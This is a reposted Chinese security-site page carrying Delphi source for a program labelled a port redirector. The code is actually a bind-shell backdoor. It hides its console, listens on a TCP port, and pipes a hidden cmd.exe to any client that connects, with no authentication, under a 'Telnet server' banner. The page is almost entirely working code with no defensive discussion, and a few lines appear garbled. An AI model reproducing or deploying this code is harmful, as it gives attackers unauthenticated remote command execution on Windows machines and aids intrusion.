首页 网络安全 安全学院 查看内容

端口重定向程序Delphi版

2009-11-9 13:22 1057 0

摘要: program Redir;{端口重定向程序Delphi版.说明:这个代码是根据一个C语言代码翻译并修改过来的.目前是基于单连接,大家可以方便的改成多连接.lovejingtao.http://www...
关键词: nbsp MySession strWelcome begin then end Security CloseHandle THandle ProcessHandle

program Redir;{端口重定向程序Delphi版.说明:这个代码是根据一个C语言代码翻译并修改过来的.目前是基于单连接,大家可以方便的改成多连接.lovejingtao.http://www.138soft.com.2004,3,25.运行本程序,格式如下:1:Redir.exe 980在980端口监听TelNet连接2:Redir.exe默认在23端口进行监听TelNet连接然后使用Windows自带的TelNet登陆即可.} uses  Windows, WinSock; {$R *.res}{会话结构}type  MySessionRecord = record    ReadPipeHandle: THandle;    WritePipeHandle: THandle;    ProcessHandle: THandle;    ClientSocket: TSocket;    ReadShellThreadHandle: THandle;    WriteShellThreadHandle: THandle;  end;  TMySessionRecord = MySessionRecord;  PMySessionRecord = ^MySessionRecord;const  NULL = 0;var  cmdline: pchar = ''; {全局变量.}function StartShell(ShellStdinPipeHandle: THANDLE; ShellStdoutPipeHandle: THANDLE): THANDLE; forward;procedure SessionReadShellThreadFn(Parameter: Pointer); stdcall; forward;procedure SessionWriteShellThreadFn(Parameter: pointer); stdcall; forward;// **********************************************************************//// CreateSession 创建一个新对话.包括创建一个shell进程和建立一个通信管道//function CreateSession(var MySession: TMySessionRecord): Boolean;var  Security: TSecurityAttributes;  ShellStdinPipe, ShellStdOutPipe: THandle;label Failure;begin  Result := False;  FillChar(Security, sizeof(TSecurityAttributes), #0);  Security.nLength := sizeof(TSecurityAttributes);  Security.lpSecurityDescriptor := nil; // Use default ACL  //设置允许继承,否则在NT和2000下无法取得输出结果  Security.bInheritHandle := TRUE; // Shell will inherit handles  if not Createpipe(MySession.ReadPipeHandle, ShellStdOutPipe, @Security, 0) then Exit;  if not Createpipe(ShellStdInPipe, MySession.WritePipeHandle, @Security, 0) then Exit;  MySession.ProcessHandle := StartShell(ShellStdinPipe, ShellStdOutPipe);  CloseHandle(ShellStdinPipe);  CloseHandle(ShellStdOutPipe);  if MySession.ProcessHandle = NULL then goto Failure;  MySession.ClientSocket := INVALID_SOCKET;  Result := True;  Exit;//--------出错处理  Failure:  begin    if ShellStdinPipe <> NULL then CloseHandle(ShellStdinPipe);    if ShellStdOutPipe <> NULL then CloseHandle(ShellStdOutPipe);    if MySession.ReadPipeHandle <> NULL then CloseHandle(MySession.ReadPipeHandle);    if MySession.WritePipeHandle <> NULL then CloseHandle(MySession.WritePipeHandle);  end;end; function DoExec(MySocket: TSocket): Bool;var  MySession: TMySessionRecord;  Security: TSecurityAttributes;  ThreadId: DWORD;  HandleArray: array[0..2] of THANDLE;  i: integer;begin  Result := False;  FillChar(Security, sizeof(TSecurityAttributes), #0);  Security.nLength := sizeof(TSecurityAttributes);  Security.lpSecurityDescriptor := nil;  Security.bInheritHandle := TRUE;  CreateSession(MySession); {创建对象}  MySession.ClientSocket := MySocket;  MySession.ReadShellThreadHandle := CreateThread(    @Security,    0,    @SessionReadShellThreadFn,    @MySession,    0,    ThreadId    );  if MySession.ReadShellThreadHandle = NULL then  begin    MySession.ClientSocket := INVALID_SOCKET;    Exit;  end;  MySession.WriteShellThreadHandle := CreateThread(    @Security,    0,    @SessionWriteShellThreadFn,    @MySession,    0,    ThreadId    );  if MySession.WriteShellThreadHandle = NULL then  begin    MySession.ClientSocket := INVALID_SOCKET;    TerminateThread(MySession.WriteShellThreadHandle, 0);    Exit;  end;  HandleArray[0] := MySession.ReadShellThreadHandle;  HandleArray[1] := MySession.WriteShellThreadHandle;  HandleArray[2] := MySession.ProcessHandle;  i := WaitForMultipleObjects(3, @HandleArray, FALSE, $FFFFFFFF);  case i of    WAIT_OBJECT_0 + 0:      begin        TerminateThread(MySession.WriteShellThreadHandle, 0);        TerminateProcess(MySession.ProcessHandle, 1);      end;    WAIT_OBJECT_0 + 1:      begin        TerminateThread(MySession.ReadShellThreadHandle, 0);        TerminateProcess(MySession.ProcessHandle, 1);      end;    WAIT_OBJECT_0 + 2:      begin        TerminateThread(MySession.WriteShellThreadHandle, 0);        TerminateThread(MySession.ReadShellThreadHandle, 0);      end;  else ;  end;  closesocket(MySession.ClientSocket);  DisconnectNamedPipe(MySession.ReadPipeHandle);  CloseHandle(MySession.ReadPipeHandle);  DisconnectNamedPipe(MySession.WritePipeHandle);  CloseHandle(MySession.WritePipeHandle);  CloseHandle(MySession.ReadShellThreadHandle);  CloseHandle(MySession.WriteShellThreadHandle);  CloseHandle(MySession.ProcessHandle);  Result := True;end; function StartShell(ShellStdinPipeHandle: THANDLE; ShellStdoutPipeHandle: THANDLE): THANDLE;var  ProcessInf TProcessInformation;  si: TStartUpInfo;  ProcessHandle: THANDLE;begin  //  // Initialize process startup info  //  FillChar(si, Sizeof(TStartUpInfo), #0);  si.cb := sizeof(si);  si.lpReserved := nil;  si.lpTitle := nil;  si.lpDesktop := nil;  si.dwYSize := 0;  si.dwXSize := 0;  si.dwY := 0;  si.dwX := 0;  si.wShowWindow := SW_HIDE;  si.lpReserved2 := nil;  si.cbReserved2 := 0;  //使用指定的句柄作为标准输入输出的文件句柄,使用指定的显示方式  si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;  si.hStdInput := ShellStdinPipeHandle;  si.hStdOutput := ShellStdoutPipeHandle;  DuplicateHandle(GetCurrentProcess(), ShellStdoutPipeHandle,GetCurrentProcess(), @si.hStdError,DUPLICATE_SAME_ACCESS, TRUE, 0);  if (CreateProcess(nil, cmdline, nil, nil, TRUE, 0, nil, nil,    si, ProcessInfo)) then  begin    ProcessHandle := ProcessInfo.hProcess;    CloseHandle(ProcessInfo.hThread);  end  else    ; //Showmessage('error');  Result := ProcessHandle;end; procedure SessionReadShellThreadFn(Parameter: Pointer); stdcall; {从控制台读取信息并发送到客户端}var  MySession: TMySessionRecord;  Buffer1: array[0..199] of char;  Buffer2: array[0..229] of char;  BytesRead: DWORD;  BufferCnt, BytesToWrite: DWORD;  PrevChar: char;begin  MySession := TMySessionRecord(Parameter^);  while (PeekNamedPipe(MySession.ReadPipeHandle, @Buffer1, sizeof(Buffer1), @BytesRead, nil, nil)) do  begin    PrevChar := #0;    if BytesRead > 0 then ReadFile(MySession.ReadPipeHandle, Buffer1, sizeof(Buffer1), BytesRead, nil)    else begin Sleep(50); continue; end;    BufferCnt := 0;    BytesToWrite := 0;    while BufferCnt < BytesRead do    begin      if (Buffer1[BufferCnt] = #10) and (PrevChar <> #13) then      begin        Buffer2[BytesToWrite] := #13;        inc(BytesToWrite);      end;      Buffer2[BytesToWrite] := Buffer1[BufferCnt];      inc(BytesToWrite);      PrevChar := Buffer2[BytesToWrite];      inc(BufferCnt);    end;    if (send(MySession.ClientSocket, Buffer2, BytesToWrite, 0) <= 0) then break;  end;  if (GetLastError() <> ERROR_BROKEN_PIPE) then ; //Showmessage('Error!');  ExitThread(0);end; procedure SessionWriteShellThreadFn(Parameter: pointer); stdcall; {接收网络指令并写入控制台}var  MySession: TMySessionRecord;  RecvBuffer: array[0..0] of Char;  Buffer: array[0..199] of Char;  EchoBuffer: array[0..4] of Char;  BytesWritten: DWORD;  BufferCnt, EchoCnt: DWORD;  strBye: string;begin  MySession := TMySessionRecord(Parameter^);  BufferCnt := 0;  while (recv(MySession.ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0) <> 0) do  begin    EchoCnt := 0;    EchoBuffer[EchoCnt] := RecvBuffer[0];    Buffer[BufferCnt] := EchoBuffer[EchoCnt];    Inc(EchoCnt); Inc(BufferCnt);    if Pos('bye', Buffer) > 0 then    begin      strBye := #13#10 + '谢谢使用!再见!' + #13#10;      send(MySession.ClientSocket, strBye[1], length(strBye), 0);      ExitThread(0);    end;    if (RecvBuffer[0] = #10) or (RecvBuffer[0] = #13) then    begin      if (not WriteFile(MySession.WritePipeHandle, Buffer, BufferCnt,        BytesWritten, nil)) then      begin        break;      end;      BufferCnt := 0;    end;  end;  ExitThread(0);end;   function BindSocket(port: integer; var MyServerSocket: TSOCKET): Bool;var  server: sockaddr_in;  i: integer;begin  Result := False;  MyServerSocket := socket(AF_INET, SOCK_STREAM, 0);  if (MyServerSocket < 0) then Exit; //Failed to Socket()  for i := port to 65535 do  begin    server.sin_family := AF_INET;    server.sin_port := htons(port);    server.sin_addr.s_addr := INADDR_ANY;    if (bind(MyServerSocket, server, sizeof(server)) = 0) then break;  end;  if (MyServerSocket = INVALID_SOCKET) then Exit; //Failed to Bind()  if (listen(MyServerSocket, 1) <> 0) then Exit; //Failed to Listen()  Result := True;end; function SystemIsNT: Boolean;var  OSVersionInf TOSVersionInfo;begin  OSVersionInfo.dwOSVersionInfoSize := SizeOf(OSVersionInfo);  GetVersionEx(OSVersionInfo);  Result := OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT;end;var  wsa: WSADATA;  RecvPort, iCode: integer;  ServerSocket: TSocket;  client: sockaddr_in;  RecvSock: integer;  namelen: integer;  strWelcome: string;  strPort: string;begin  FreeConsole();  if (WSAStartup(MAKEWORD(1, 1), wsa) <> 0) then  begin    //Showmessage('Windows socket version is unmatching.');    Exit;  end;  strPort := ParamStr(1);  Val(strPort, RecvPort, iCode);  if iCode <> 0 then RecvPort := 23;  if not BindSocket(RecvPort, ServerSocket) then  begin    //Showmessage('Failed to bind port.');    Exit;  end;  namelen := sizeof(client);  RecvSock := accept(ServerSocket, @client, @namelen);  if (RecvSock = -1) then    //Showmessage('Failed to listen port.') //Failed to Accept()  else  begin    strWelcome := #13 + #10 + '-------------------------------------------' + #13#10#13#10;    send(RecvSock, strWelcome[1], length(strWelcome), 0);    strWelcome := ' Telnet服务器V1.0(for 98/me/nt/2K/xp) ' + #13#10;    send(RecvSock, strWelcome[1], length(strWelcome), 0);    strWelcome := #13#10;    send(RecvSock, strWelcome[1], length(strWelcome), 0);    strWelcome := ' 输入bye退出程序.' + #13#10#13#10;    send(RecvSock, strWelcome[1], length(strWelcome), 0);    send(RecvSock, strWelcome[1], length(strWelcome), 0);    strWelcome := ' http://www.138soft.com.'+#13#10#13#10;     send(RecvSock, strWelcome[1], length(strWelcome), 0);    strWelcome := '-------------------------------------------' + #13#10#13#10;    send(RecvSock, strWelcome[1], length(strWelcome), 0);    if SystemIsNT then cmdline := 'cmd.exe'    else cmdline := 'command.com';    doexec(RecvSock);  end;  WSACleanup();end.
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部